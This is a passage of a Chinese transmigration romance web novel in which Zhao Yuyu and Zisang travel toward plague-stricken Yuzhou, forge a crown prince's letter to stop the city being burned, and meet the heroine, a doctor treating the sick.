她趁热打铁,牵起小丫头的手道:“那这孩子……”
子桑瞥了眼懵懵懂懂的孩子,顿时嫌恶地别过眼:“不行!”
看到她就讨厌!
居然还敢牵玉儿的手!
他劈手将赵玉屿另外一只手也夺来握在手里,掏出手帕细细擦拭,仿佛上面沾染了什么脏东西。
赵玉屿:“……”
“子桑大人,这孩子真的很可怜嘛,咱们当初杀了王麻子不就是为了救这孩子吗?可若是将她一个人丢在这里,咱们之前的努力不就前功尽弃了?”
见子桑面色不悦,赵玉屿还是想争取一把,伸手反握住子桑的双手摇了摇,语气掺杂着软糯撒娇:“带带她嘛,子桑大人,我知道你最是嘴硬心软了,就带她一截好不好?等找到了可靠的人家咱们就将她放下~好不好好不好~~”
子桑双眼直愣愣一瞬不瞬地望着她。
好可爱……
玉儿很少会露出这般神态,像是,像是一只凑到人面前睁着含水圆眸喵喵直叫的小狸猫。
扑通,扑通,扑通……
他觉得心跳声愈加得大,似乎震耳欲聋,要冲破胸膛而出。
“子桑大人……子桑大人?”
赵玉屿见他似乎在发呆,朝前一步凑到他面前又恳求道,“带上她吧,好不好呀?”
“嗯……”
子桑也不知道自己说了什么,只觉得面红耳热,眼前一切尽散,唯余下赵玉屿凑上前的双唇。
他喉咙微动,情不自禁低下头想吻上去,然而赵玉屿听到他答应的那刻顿时双眼发光,退开了身子兴奋地拉着他的手一蹦一跳:“谢谢子桑大人!我就知道大人最好了~!”
原本充斥心扉的旖旎被瞬间打破,子桑:“……”
*
夜色渐渐笼罩大地,将驿道两旁的树林镀上一层紫阴阴的蓝。昏蓝的天际一线,一辆马车颠簸而来,在驿道上飞驰。
若有人瞧见定会惊讶,这驾车的车夫居然是只胖猴子,这猴子有模有样地戴着斗笠,一手执起马鞭,一手攥紧缰绳,轻车熟路的驾车前行。它旁边还坐着一个十一二岁傻愣愣的小丫头。
马车里,赵玉屿打着哈欠推开车窗,望向外面渐黑的天色困倦道:“也不知道还有多久才能到驿站。”
子桑指间翻了一页书,见墨迹昏暗已瞧不清内容便将书合上,双手环胸靠着车壁闭目养神:“应当快了。”
他们离开扬州已经有些时日,
算算路程快入渝州地界了,天黑之前应当能赶到驿站。
赵玉屿探身撩开车帘,朝小丫头笑了笑:“淳儿,你累不累?”
小丫头扭过头望向她,缓缓摇了摇头:“不累。”
虽然子桑同意带这孩子上路,但却死活不愿意让她继续叫玉儿,否则就要让猴大将她推下车。
瞧着猴大已经摆好的架势,龇牙咧嘴恶狠狠盯着这丫头,赵玉屿没办法,只得暂且给她改了个名字,叫淳儿。
名字嘛就是一个代号,只要能带上这丫头活命,等给她找到个好人家,以后再把名字改回来不就完事了。
不过这孩子对于新名字也没那么排斥,一来二去便叫习惯了。
然而子桑还是瞧着淳儿讨厌,明明赵玉屿已经给她换了身干净的衣服,翠玉色的很是可爱,但子桑非说她身上臭烘烘,不准她坐在马车里,只能同猴大一样坐在车辕上。
好在这孩子真的很乖,不哭也不闹,听到这话都不用赵玉屿说,就主动爬到车厢外,安静的一呆就是一整天。
更让赵玉屿心疼了,她笑道:“等到了驿站,姐姐让人给你弄些好吃的,拔丝水果吃不吃啊?”
淳儿听到这话双眼一亮,用力点头:“嗯!”
这些日子她们一直在各个驿站住宿歇脚,路上也没什么吃的,赵玉屿便提前熬了糖浆裹在切好的水果上,凝成冰糖水果在路上当零嘴吃。
淳儿也很喜欢吃甜食,只是她正是换牙的时候,前两天才掉了颗牙,赵玉屿不敢给她多吃糖。
如今快到驿站了,为了犒劳她这几日坐得辛苦,便破例给她做些甜食吃。
“成!那到时候姐姐给你做一盘,留在你晚上当宵夜吃!”
“嗯嗯!”
身旁传来子桑的轻嗤声,赵玉屿知晓这这小祖宗必定是又觉得自己被忽视,来找存在感了。
她扭头瞧着子桑拖长音调笑道:“当然啦,不会忘了给子桑大人您也做一盘的~”
子桑瞧着她耍宝的模样,忍不住扬了扬嘴角,冷眸瞥了一眼车厢外,内心却微微扭曲,嫉妒如同阴暗角落肆意生长的藤蔓,让他目光阴冷。
自从这个丫头来了之后,便总会抢走玉儿的目光。
原本玉儿只同他说话,只对他笑,如今一日却要同这丫头说上十几句话。
甚至夜里这孩子如厕害怕,居然还要玉儿陪着!
废物!
恶心!
恶心至极!
子桑越想越厌恶,若不是玉儿会生气,他一早就弄死这丫头!
第66章
松林站是渝州边界一个偏僻的小驿站,如今天气还未回暖,渝州又起了瘟疫,除了十天半个月经过个别官府的信使换马增粮,平日里没什么人经过这里。
柳驿丞在躺椅懒洋洋躺了一整天,身旁的老黄狗也跟着他晒了一天太阳。见天色完全沉了下去,后院的厨子正炝锅烧菜,浓郁泼辣的油香味扑鼻而来,柳驿丞才伸了个懒腰晃晃悠悠从小院里的躺椅上起来。
他们这种小驿站日子最是清闲,虽没什么油水却能混口饭吃,这里的几人都已经将驿站当成了家,日常院子里种种菜,喂喂马,还养了只狗,倒也过得有滋有味。
正要抬脚去楼里等着吃晚饭,忽而老黄狗耳尖微动,一阵马蹄声从驿道外朝这边哒哒跑来。
柳驿丞有些奇怪,都这个时候了还有人赶路吗?
他朝院门处一望,竟然见茫茫昏色中一只猴子扬鞭驾着马车朝驿站匆匆赶来。
柳驿丞以为自己眼花了,眨了眨眼睛瞪得老大再瞧,须臾功夫马车已经直接停在了院内,车上那只猴子娴熟地撩起车帘,抽出一个小矮凳跳下马车,将凳子放下,摘了斗笠按在胸前,朝车内吱吱叫了一声。
下一刻,马车里钻出一个姑娘,十六七岁的模样,她瞧着活泼,跳下车便张开双臂松动筋骨,后面出来的那少年倒是矜贵些,踩着矮凳下了车,那猴子还略显谄媚地给他整理微皱的衣摆。
柳驿丞瞠目结舌,乖乖,他今日算是长眼了,这猴子是成精了吗?
赵玉屿拍了拍坐得发麻的腿,深吸一口气:“香!”
她还未进院子便闻到一股爆香的辣椒味,真是得劲,见楼前站着一个像驿站官员的中年男人,便朝他爽朗笑道。
“这位大人,敢问驿站还有厢房吗?”
柳驿丞收回发愣的目光,连忙点头:“有有有,当然有。”
“那太好了,正好赶上饭点!”
赵玉屿扭头朝子桑笑道,“公子,我先去收拾房间,您在这稍作休息。”
如今进了大雍境内,她便也不唤子桑真名,而是直接称呼公子,免得多生事端。
子桑睡觉依旧是要蚕丝被褥,猴大已经扛着行李一蹦一跳上了楼,见柳驿丞还站在原地,朝他一呲牙,向楼上歪了歪脑袋。
柳驿丞这才反应过来,连忙引他们上了楼。
驿站里的厢房都是空置的,赵玉屿挑了间最东边的房间,视野开阔,偏僻安静,虽然屋子有些陈旧,但干净整洁,只住一晚也够用。旁边紧挨着的屋子留给淳儿和猴大住,若有事情也相互有个照应。
她从怀里掏出一块碎银:“成,就这两间吧,待会的晚饭还请大人多费些心思,我家公子喜甜,还请多烧两个菜,给咱们送到屋里就好。”
柳驿丞接了银子笑眯眯:“好说好说,你们缺什么直接告诉我就行,咱们这驿站小,平日里也没什么人,就当自个家一样。”
收拾好屋子后,赵玉屿推开窗户正想唤子桑上楼,就见子桑正蹲在院子里逗狗。
昏黑的夜色里,驿站的院子却挂满了灯笼,暖黄的烛光浅浅笼罩住整个小院,也笼罩在子桑和老黄狗的身上,散发出一层莹润的暖光。
他伸手挠了挠老黄狗的下巴,老黄狗耷拉着眼皮,耸动鼻尖嗅了嗅,旋即便温顺地低下头,任由他抚摸。
一旁不远处的老槐树下,两个驿夫已经支棱起小桌子,厨子将做好的饭菜盛出来放在桌上,又摆上一壶酒。
见子桑在摸狗,厨子卷起腰间的围裙擦了擦手笑道:“这福宝啊特别通人性,自小咱们就养着,小时候可闹腾了,如今老了成日里趴在那一动也不动,乖得很不咬人,你若是喜欢它,给它块红烧肉吃,它吃着香得呢!”
子桑难得有耐心,抚摸着狗脑袋却是淡淡道:“它快死了。”
厨子一愣,擦着手转身朝后厨走去,嘟囔道:“才十四岁,还早呢!咱福宝能活到二十岁!”
子桑却罕见的并未因为他的忽视和不满而生气,他缓缓站起身子,抬眸望向二楼的少女。
赵玉屿趴在窗户边,两人对视的那一刻,即便隔着黑沉的夜色,她仿佛依旧看到了子桑眼底平静的哀鸣。
孤独和死寂犹如黑雾将他层层包裹住陷入无尽黑暗,即便身在灯笼之下,活人的烛光也照耀不到他的身上。
那只老狗的时间已经不多了,虽然它每日慵慵堕堕地趴在那里一动不动,它的生命依旧随着时间的流逝在燃烧。即便燃烧之火如烛光微弱平和,却依旧抵挡不住漫漫长夜中一寸一寸融化的烛泪。
子桑如今就像是这条老黄狗,虽然看似正直舞象之年,实则已至昏昏暮沉。
剩下的时间,不到一年而已。
离开瑶山后,他从未同自己提及过这些,赵玉屿也未主动询问过,两人整日在不同的城镇间穿行,山川林莽的秀丽还有每日热热闹闹的嬉笑似乎掩盖住了一切的痛苦。
可赵玉屿知道,子桑也知道。那是子桑心底
的疤,即便他伪装得再好,那道疤也依旧突兀的横在他的心头,时时刻刻提醒着他,他的生命所剩无几。
比起死亡本身,等待死亡更让人痛苦。恐惧和绝望会犹如阴暗里滋生的藤蔓,紧紧缠绕住寄生的树干,剥夺它的阳光,汲取它的养分,直到将他吸食榨干,成为一截枯死的干枝。
天道,究竟要如何剥夺他仅存的一切?
赵玉屿垂下眼眸,缓缓唤出许久未见的系统。
“系统,子桑如今的好感度到达多少了?”
【很高兴再次见到宿主,攻略对象好感度如今已达80%,还请宿主再接再厉。】
81%。
赵玉屿叹了口气,她记得上次是66%,经历了生死劫难居然也才涨了15%,果然越到后面越难攻略。
不过81%应当已经算是不可或缺的挚友了,说明她如今在子桑心里还是有一席之地的。
赵玉屿宽慰着自己,心里好受了些。
不过旋即又陷入沉思,患难与共、生死不离他们俩都已经经历过了,究竟还有什么情况能刺激子桑的好感度再次增长啊!
头大!
赵玉屿正扒着脑袋苦思,子桑已经进了屋子,见她一脸苦大仇深眉梢微扬:“怎么了?”
赵玉屿耷拉着肩膀走到他面前,扬着脸皱起五官有些自暴自弃嘟着嘴问道:“子桑大人,你要怎么才能更喜欢我嘛?”
喜欢她……
子桑一瞬怔在原地,直愣愣地望向眼前的少女。
玉儿这是在……向他表露钟情吗?
这是玉儿第一次向他表白
欣喜一瞬间溢过头顶,耳边轻飘飘仿佛一直在上浮,听不到其他声音,唯余下赵玉屿方才略带撒娇和烦扰的声音。
【滴,攻略对象好感度增加百分之一,当前好感度,82%】
赵玉屿:“?”
她以为自己听错了,心中唤出系统又问了一遍。
多少?
【攻略对象好感度增加百分之一,当前好感度,82%】
赵玉屿:“!!!”
什么情况?
这么简单?!
她惊愕地望向子桑,就见子桑除了面色微微泛红,神色如常丝毫没有变化,若不是系统提示,她都没意识子桑对她的好感度又提升了。
跟上次一样,涨得莫名其妙。
赵玉屿眨了眨眼,不对,她突然想起在海上时子桑按着她胸口说的话。
上次好感度上涨应当是因为因为人工呼吸?
赵玉屿耳朵一瞬间红得冒烟,双颊滚红,大脑宕机呆愣在原地。
子桑竟然也未说话,目光一直胶凝在她的脸上丝毫未动。赵玉屿想要眼神躲闪,却又觉得这样显得自己害羞心虚,也一直盯着他。
两个人就这样大眼瞪小眼,直到柳驿丞端着饭菜在门口敲了敲房门,赵玉屿才回过神来,连忙上前接过饭菜打破方才的尴尬:“多谢大人了。”
柳驿丞好脾气地摆了摆手:“客气客气,咱们几个就在下面喝酒,有什么事情直接叫我就行。”
“好嘞!”
赵玉屿甜甜应下,待柳驿丞走后关上门将饭菜放在桌上。
见子桑还站在原地一动不动,她揪了揪子桑的衣袖调笑道:“大人不饿吗?吃饭啦~”
子桑恍然回过神来,坐下执起筷子,却是依旧夹了块糖醋排骨送到赵玉屿嘴边。
赵玉屿刚想张口,忽而听到楼下传来一阵骚动。不一会儿传来柳驿丞讨好的声音。
她走到窗口张望,就见一个男人下了马,吩咐柳驿丞他们准备饭菜,用完便走。
赵玉屿轻咦一声,那男人的打扮虽是普通官吏,可腰间的刀却是安禄卫专用的刀。
安禄卫是专门掌管帝都护卫与情报的机构,他们的刀鞘有朝堂专用的纹路。
赵玉屿之前为了给子桑做手办,同帝都最顶尖的锻造师傅打过交道,那师傅便曾专门为安禄卫锻造过武器,闲谈间曾提及过,还骄傲地向赵玉屿展示他的锻造成果,所以赵玉屿对这种刀印象深刻。
可能是出来执行任务的吧,倒也不稀奇。
不过也不知道这人是否见过子桑的脸,还是不要出门,小心为上。
赵玉屿合上窗户,回到桌前就见子桑竟然还夹着那块糖醋排骨,等她重新坐下,又将排骨送到她嘴前。
“……”
赵玉屿哭笑不得,有时候子桑这股犟种劲儿一般人还真是比不得。
她吃下排骨,瞧着子桑暗含期盼的眼眸,赞许一声:“好吃。”
子桑顿时扬唇一笑很是得意,好像这排骨是他亲手做的一样。
赵玉屿眼眸一动,故意给他夹了一块水煮牛肉放到碗里:“子桑大人,你尝尝这个。”
碗里的牛肉片鲜香泼辣,红油辣椒裹满了嫩肉,瞧着便涎出口水,子桑嘴角控制不住地抽搐。
他不喜欢吃辣的东西,可这是玉儿夹给他的,玉儿方才还撒娇让自己多喜欢她一点,若是不吃,玉儿会伤心的。
挣扎半晌,他最终以壮士断腕之决心,一鼓作气夹起牛肉塞入口中。
赵玉屿咬唇忍笑,她之前一闻便知这辣椒极为正宗,必定是透心得辣。
果不其然子桑在辣椒入口的那刻口齿紧闭,脸色一僵,虽未言语,但双眼逐渐温热发红,溢出一层快要被戳破水壳。
他脸上的肌肉因为过辣而抽搐不止,显得有些狰狞,却依旧未将牛肉吐出。
赵玉屿见玩闹得差不多了,连忙道:“好了好了,你快吐出来吧,我方才逗你玩呢。”
然而子桑却并未听话,他双唇发红,嘴角蠕动着嚼烂肉片,颤抖着咽下牛肉的那刻,被辣裹挟的眼泪也从眼眶滴下。
赵玉屿:“……”
第67章
赵玉屿见他居然辣哭了,连忙给他倒上一杯水:“我跟你开玩笑呢,你怎么还真吃了。”
子桑被辣得面红耳赤说不出话,接过茶水一饮而尽,温凉苦涩的茶水入口,火辣辣的口腔才觉得舒缓些,长吐出一口浊气。
他抿了抿被辣得通红的薄唇,抬眸望向赵玉屿的那一眼含着丝委屈,似乎在无声痛斥方才赵玉屿的捉弄。
赵玉屿被这一眼瞧得负罪感十足,给他又多夹了些爱吃的菜肴:“子桑大人,这些都是我特意让厨子给您做的,你多吃点哈。”
忽然,合上的窗户传来吱嘎轻响,就见猴大从窗户外一跃而入,脖子上套着一个金牌子,细爪里攥着一个皮袋子,兴奋地举起来一摇一摇朝他们蹦来。
这猴子喜欢金银珠宝,时不时偷人家钱袋已经是常事了,赵玉屿无奈地起身摘下他脖子上的金牌,正要告诫他还给人家,一眼瞧见金牌上的字,愕然道。
“你怎么把安禄卫的腰牌给偷来了?”
猴大一把夺过金牌宝贝似的揣在怀里,手舞足蹈比划着。
那安禄卫用完膳后,因着马儿还在喂草料还要再等会,柳驿丞便想着热情款待总不会不出错,便备上热水请安禄卫沐浴更衣歇息会儿。
那安禄卫赶了这么多天路,天色已晚身上又臭了,便也应下,换身衣服歇歇脚。
猴大便是趁他洗澡的时候偷了金牌和皮袋。
赵玉屿捂着脑袋直呼天老爷,这安禄卫必定有任务在身,腰牌若是丢了,必定得把这驿站翻个底朝天,到时候不仅他们可能会暴露,还会连累驿站的几人。
赵玉屿正想让猴大赶紧将东西还回去,就见子桑已经倒出皮袋子里的东西。
一方绣帕,还有一封信。
那绣帕一瞧便是女子所绣的物件,许是这安禄卫心仪的姑娘所赠。
另一封信上面盖着火红的漆印,上面印着一个徽字。
宋承嵘,字太徽,“徽”漆乃是他的私印。
这是宋承嵘的密信。
他在这个节骨眼上暗地调动安禄卫,想来是有要事。
赵玉屿正在斟酌如何不露声色地查探到宋承嵘差遣安禄卫所行何事,子桑已经干净利落地拆开了信。
赵玉屿:“!”
他扫了眼信件的内容,便无甚无聊地将信丢在桌上。
反正信都被拆开了,赵玉屿也捡起信件看了一眼,不看不知道,一看顿时被信件中的内容震惊到愣在原地。
渝州城瘟疫盛行,至今未有医方医治。为了防止瘟疫蔓延,朝廷居然要封城火焚,将所有患疫之人灭口。
这根本是无差别攻击的屠城!
赵玉屿不可置信地喃喃道:“怎么能直接屠城呢?”
她一直认为宋承嵘虽然是个渣男,但姑且算是一个好皇帝,对于百姓尚且有仁义之心。
即便当初他派人放火烧穿暗杀子桑,她也认为这是政治斗争。
可他居然屠城……
“倒也没什么稀罕。”
子桑对此毫不惊讶,悠悠道,“渝州离帝都不算远,刚发水患又起瘟疫,百姓们难免人心慌慌。而如今在世人眼中护国神使无辜亡故海上,必定认为是神使之死致使天降责罚,更有甚者国运衰颓,大雍危矣。在这种时候,若是瘟疫四散,谣言四起,国将动荡。宋承嵘为了平息谣言,必定要用最短的时间解决瘟疫。还有什么比封城焚烧更快的方式呢。”
如此果断狠绝,不愧是天定之子,的确有些意思。
赵玉屿怔怔听着他娓娓道来的解释,却觉得手中信纸有千斤之重,上面短短几行字便承载了一城人的性命。
瘟疫的确如洪水猛兽令人胆寒生畏,可并非别无他法,屠城制止未免太过残忍。
这根本不是一个仁君所为。
赵玉屿深吸一口气,将纸重新折好想要塞回信封,不论如何腰牌和信封得先还回去。
她折信的指尖微微发抖,恍若将屠刀送入刽子手的手中。
一只手覆盖在她的手背上,温热的相触让赵玉屿指尖一颤。
她顺着那只素白修长的手抬眸望去,子桑另一只手撑着脑袋,歪头望向她:“玉儿不开心吗?”
赵玉屿抿了抿唇:“我只是觉得很无力。虽然觉得宋承嵘做得太过狠绝,却一时间也想不出更好的办法。”
瘟疫问题并非寻常小事,不是拥有仁慈之心就可以解决的问题,一旦处理不当,疫毒扩散会牵累到更多无辜的人。
“玉儿不想焚城,我倒是有一个办法。”
赵玉屿双眼一亮,凑近道:“什么办法?”
子桑两手一摊:“只要替换了信上的内容不就好了。”
“可这也只能解一时燃眉之急啊。”
子桑已经从小案上拿起笔,疏懒道:“只封城不焚城,里面的人出不来外面的人进不去,是死是活就看他们自己的造化了。”
猴大娴熟地磨墨,不出片刻,子桑已经挥笔写好了信。
赵玉屿凑上前瞧,见他模仿的字迹竟当真同宋承嵘一模一样,只是去了火焚二字,极其逼真。
赵玉屿拆下漆印,放在蜡火上将底面微微烤化后重新贴在信封上。
这里离渝州城不算远,安禄卫马不停蹄赶路深夜便能到城中,灯火昏暗,只要知州不细瞧便发现不出信纸被拆卸过。
赵玉屿将信封和帕子重新塞回皮袋里,同腰牌一块挂着猴大的脖子。
猴大得了命令,虽然舍不得这块金子,也只得一溜烟从窗户里钻出去,再次偷偷潜入屋子将腰带和牌子挂回屏风上。
安禄卫泡好澡后穿上衣服,重新将腰牌和皮袋子贴在里衣内,出了门,柳驿丞已经亲自牵着马小跑来将马鞭送上。
瞧着骑马奔入沉沉夜色中的身影,赵玉屿关上窗户。
“子桑大人,咱们也去一趟渝州吧。”
*
松林站是离渝州城最近的驿站之一,子桑和赵玉屿两人趁着黑夜唤来小白掠过茂密树林飞去渝州城,倒是比还要安禄卫还要更早便到了渝州。
在城外远远望去,渝州城的城楼挂着一排昏红的纸灯笼,只有零星几个守卫靠在城墙上休息。
两人并未落地,而是乘着小白在天上盘旋。令人惊愕的是整个城池宛若死城,如今不过戌时,扬州城尚且长街熙攘,人声鼎沸,歌舞升平,渝州城中却街头巷尾空空荡荡,遍地纸钱铺长街,家家户户院中停着白花棺椁。有些穷苦巷子歪歪斜斜堆着几具尸体,一块麻席潦草盖在身上,巷子里散发出阵阵恶臭,苍蝇肆虐,无人问津。
除了几点零星的灯火,整座城再不见活人影。
竟已到了这般境地。
见东街有一片灯火通明,小白飞到一排屋檐上落下。
赵玉屿朝那街铺里望去,是一家医馆。
里面或躺或坐着十几个人,皆是低咳不止,头上覆着白布止热。
几个身影在医馆里忙忙碌碌,把脉问诊、抓药捣药、针灸换布,忙得不可开交。
其中一个正在抓药的老大夫脚下不稳,身旁正在给病人诊治的女子连忙上前扶起他,关切询问道:“何大夫,你先去休息会吧,这都忙了几天几夜没合眼了,再是铁打的身子也受不住啊。”
何大夫喘口气摆了摆手:“这么多病人,如何能歇些。”
那女子道:“何大夫,咱们这边人手虽然紧张些,但也还能坚持住。您回去歇歇再过来还是没问题的,若是您倒下了,那咱们才当真是人手不够了。”
赵玉屿听着那女子的声音有些熟悉,眯着眼仔细一瞧,虽蒙着面纱遮住大半张脸,但那女子露出的一双眼睛宽柔似水,温和有力,显然是当初在皇宫见过的面容。
“何附子?”
她怎么会在这里?
子桑站在一旁双手环胸,眉梢微扬:“你认识她?”
赵玉屿点点头:“这不是裴小侯爷他夫人吗,当初皇宫夜宴,我在御花园遇到的那个女子就是她。”
她现在不是应当在帝都吗,怎么会出现在渝州城?
见何附子将那老大夫送到医馆后院休息后,又回到前堂埋头医治患者,赵玉屿感慨,不愧是女主,温柔坚定、遇事冷静、济世救人,怎么就便宜了宋承嵘那个狗东西。
倘若她知晓宋承嵘要下令封城火焚,将她千辛万苦救助的病人一把火全烧成灰,那怕是恨死宋承嵘了。
不愧是虐文,虐身又虐心。
赵玉屿忽而转念一想,既然女主在这里,那是不是说明事情就有转机?
系统总不能当真看着女主得了瘟疫病死吧。
她心中唤出系统:“系统,瘟疫这病有得治吗?”
【亲爱的宿主您好,您当前已触发主线任务“雀飞笼中”仁心救世章,请阻止太子发现女主踪迹,完成任务可以获得奖励道具素月皮。】
赵玉屿眉头微皱:“我记得原著里没有瘟疫这一篇章。”
在原著里,何附子于宫宴偶遇宋承嵘后便被阴暗批盯上,强取豪夺,开启强取豪夺虐恋情深的各种情节。
【是的,这是系统根据现实发展调整的主线任务。】
“那素月皮有什么作用呢?”
【素月皮又名千面皮,可以易容成任何面容且维持24小时。】
易容术啊,这倒是个好东西。
“不过我问的是有没有治疗瘟疫的药。”
【当然是有的,但受于程序限制,系统无法免费赠予宿主任何东西,不过当攻略对象好感度达到90%时,宿主拥有有一次抽奖权,系统可以为宿主进行奖励更换,确保宿主抽取到瘟疫配方作为任务奖励。】
赵玉屿冷笑:“不会又是框我的吧。”
【请宿主相信系统,系统一直在努力帮助宿主完成任务。】
第68章
这话赵玉屿倒是相信的,虽然赵玉屿对系统并没有最开始的信任,也不知道系统的目的到底是什么,但对于它竭尽全力帮助自己完成任务这点深信不疑,毕竟系统选中她来到这个世界就是为此。
想起方才系统提到的主线任务“阻止宋承嵘查探到何附子的踪迹”,她思忖片刻,倒也不觉得是个难事。
宋承嵘身为太子是不可能亲自涉险到渝州来,只要他同何附子两个人不见面,那一切都好说。就算女主治病救人的佳话遍布大雍,但篡改个名字、伪造个传说什么的还是手到擒来。
此时的宋承嵘正是处心积虑谋夺权力的时
候,没有那个时间和精力对传言多加思量,更不会因为一个传言便抛下手中的一切来到渝州寻找女主。
当下最重要的是瘟疫的配方。
赵玉屿悄悄望向子桑。
啧,想要一下增长8%的好感度有点难啊。
子桑感受到她有些纠结又炽热的目光,微微偏头望向她,眉梢一挑无声询问。
赵玉屿想起之前莫名其妙增长的1%好感度,捏起指尖试探性又问道:“子桑大人,你能再多喜欢我一丢丢、一丢丢吗?”
子桑:“”
怎么感觉玉儿今日有些奇怪,总是让他多喜欢一些。
想起往日所看话本里提及的痴男怨女的桥段,子桑不由反思,难道是他平日里的表现太过冷淡,所以玉儿感受不到他的满心喜爱吗?
那可不行。
既然玉儿想要更近一步,他自然欢喜。
子桑扬唇一笑,忽而双手环胸弯腰凑到赵玉屿面前轻声道:“那你亲我一下。”
亲我一下我就更喜欢你一点。
他凑近得极近又突然,近得险些亲上来,赵玉屿没反应过来被吓了一跳,下意识头朝后稍仰,抬脚退去想同他保持距离,却忘记脚下是高低起伏的砖瓦,一个没留神脚下一歪,惊呼着朝旁边倒去。
子桑想要拽住她却不慎踩到瓦片上的青苔,也脚下一滑,反而被赵玉屿拽下,两人齐齐滚下屋檐。
猴大捂眼惊叫,瓦片发出哗啦啦的轻响,赵玉屿只感到身子不断朝下翻滚,坚硬的瓦块膈得后背生疼,心中哀呼一声“完了”!
这么高摔下去得骨折啊!
她紧闭双眼,天旋地转间扑通一声,整个人重重坠地。
咦,倒没怎么痛。
设想中的疼痛并未传来,反而是身下传来一声闷哼,赵玉屿缓缓睁开双眼,错愕地发现自己正枕在子桑的胸膛上。
子桑整个人垫在她身下,一手紧紧搂着她的腰肢,一手按着她的脑袋将她按在胸前,给她结结实实当了垫背。
赵玉屿连忙爬起身关切道:“子桑大人,你怎么样了?”
昏黑的夜晚也挡不住子桑苍白的脸色,他躺在地上半晌起不来,捂着胳膊神色痛苦,因为剧痛,额头渗出一层有一层的虚汗。
赵玉屿朝着他的右臂望去,惨淡月光下他一条胳膊形态有些奇异,松松垮垮垂在身侧。
她吓了一跳,连忙凑上前查看:“糟了脱臼了!”
何附子听到门外有动静,放下药篓子起身走出房门查看,见对街屋子下靠坐着两人,以为是又来了病人,提裙走上前关切道。
“你们没事吧?”
微凉月色映照出两人有些狼狈的面容,何附子一眼便认出了帝都宫宴上惊鸿一瞥的两张脸,惊讶道:“是你们,你们怎么会在这里?”
见被发现,赵玉屿如今也顾不得隐藏,朝何附子道:“大人受伤了,何大夫您快帮他瞧瞧。”
何附子也来不及细想,见子桑受了伤连忙蹲下身子粗略检查了下他的胳膊:“他这是脱臼加骨折,先扶他进来吧。”
何附子并未将他们带回医馆,而是从穿过小巷到了医馆后面的一处住宅。
她进屋退去纱手套,点上蜡烛,让赵玉屿将子桑扶到椅子上,用酒水净手后按住子桑脱臼的胳膊,咔嚓一声接回去,动作干净利落又老辣。
她又拿剪刀剪去子桑的衣袖,顿时露出高肿通红的胳膊。
赵玉屿看得倒吸一口凉气,何附子已经给他的胳膊上涂上活络药油,熟稔又仔细地按着他的胳膊来回按摩。
子桑长这么大就没受过这种伤,痛得面上肌肉一抽,紧咬牙关,本就精致的下颌线绷得如刀锋般凌厉,歪头将脸靠在赵玉屿肩弯里。
赵玉屿知晓他是为了保护自己才受得伤,心中一时又愧疚又心疼,搂着他的脑袋安抚:“再坚持一会,很快就好了哈。”
何附子有些惊讶地瞧了他们一眼,赵玉屿却未意识到两人此时动作的亲密,朝她问道:“何大夫,他胳膊怎么样了?”
何附子又在他胳膊上贴上药膏、绑好夹板,娴熟地缠起纱布。洁白的纱布一圈圈穿过胳膊挂在另一侧的肩膀上,将他的胳膊吊起,系了结固定好:“胳膊是接回去了,但骨折得有些严重,还得静养一段时间才行。”
赵玉屿松了口气:“没事就好,谢谢你啊何大夫。”
何附子笑了笑,洗去手上的药油问道:“对了,你们怎么会在这里?我听传言说神使的船队遇到了海难,就连神使也葬身大海。”
“此事说来话长。”
赵玉屿叹了口气,“我们遇难并非天灾,而是人祸。有刺客混在船上,趁夜深防卫松懈时凿船放火,这才沉船。”
何附子愕然:“刺客?”
赵玉屿点头:“是太子的人。”
何附子双手微顿,垂眸怔在原地。
即便过了这么久,每每听到这两个字还是会心中一痛。
这是她第一个喜欢上的人,却也是伤她最深的人。
当初她在御花园偶遇宋承嵘后便常午夜心悸,她害怕面对宋承嵘是回想起被抛弃的痛苦,却又忍不住想问他当初为何要不告而别。
即便他们之间的事情已成过去,可过去的感情也该画上一个结局,而不是不清不楚的像个笑话一样便结束了。
她想要问宋承嵘他们之间到底有无真心,他是真的爱过自己还是只是权贵子弟的一时玩乐。
可这些话何附子到底没有说出口,在遇到宋承嵘的那一刻她仓皇而逃,便再也没有勇气开口。
她选择了逃避,只说帝都无趣,想到扬州散散心。
夫君一向支持她的决定,也知她山川四海游历惯了,只当她在帝都待着憋闷得慌。但夫君事忙,便让她先行,等他忙完了便去找扬州找自己。
何附子没想过离开裴小侯爷,她如今真心喜欢裴小侯爷,可在遇到宋承嵘后一时心乱如麻,却也不知道该以何种方式面对裴小侯爷,所以便想离开一段时间等理清心绪能真正坦然面对宋承嵘时再回去。
谁知刚到渝州便起了瘟疫,医者仁心,她无法丢下城中的百姓独自离开,又怕裴小侯爷担心,便只写信告诉他自己已到扬州,一切安好。
谁知再次听到宋承嵘的名字,竟如此猝不及防。
赵玉屿悄悄观察着何附子的神色,见提及宋承嵘时她眼中一闪而过的哀愁,心地叹了口气,旋即面不改色地给何附子上眼药,争取彻底搞臭宋承嵘在她心里的形象。
“何大夫,我见您不顾自身安危为渝州城的百姓医治,便知您心地善良。实不相瞒,神使大人本无意与太子殿下为敌,从船上侥幸逃脱后神使大人便想远离帝都,游历山川、四海为家。可是我们无意间发现了安碌卫的密信,太子殿下竟然想要封城火焚,将渝州城的百姓一网打尽以绝瘟疫,我们担心城中百姓安危所以才来到渝州查看情况。”
她从怀中取出被替换的信纸递给何附子,“这便是原信,神使大人将信纸的内容替换成明日封城以暂时保全城中百姓,但这拖延不了多久。”
何附子望着纸上的字迹,
只觉满目荒唐,不可置信。
当真是宋承嵘的字迹
他曾今在浓情蜜语后握着她的手在纸上写下缠绵情话,与这字迹别无二致。
何附子凄凉一笑,他竟然如此狠心决绝,当真同当初离去时一模一样。
赵玉屿心中庆幸,幸好之前换信纸时她留了个心思将原信保存下来,这不就利用起来了。
她面上哀叹一声:“何大夫,当务之急,咱们要尽快研制出治疗瘟疫的药方,否则这一城的百姓性命堪忧啊。”
何附子颔首:“我会同城中的大夫一起尽快研制出药方,不论如何,我一定会保护城中百姓的!”
赵玉屿再次心中感慨,多好的姑娘,宋承嵘那糟心玩意哪里配得上她。
何附子收拾好药膏纱布,接着道:“我等下还要去给病人医治,你们就暂且先住在这里吧,尽量不要出门,如今瘟疫肆虐,若一定要出门的话需得做好防护。”
赵玉屿乖巧点头:“我懂我懂,口罩手套不离身,洗手消毒保平安。放心吧,我们会保护好自己的。”
何附子笑了笑:“行,天色也不早了,你们先休息吧,明早我会给你带早膳过来。”
赵玉屿嘴甜:“多谢何姐姐。”
待何附子出去后,赵玉屿见子桑还将脸凑在她肩弯里,抱着她的胳膊不撒手,拍了拍子桑的手道。
“子桑大人,胳膊都绑好了。”
肩弯处传出一道闷声:“疼”
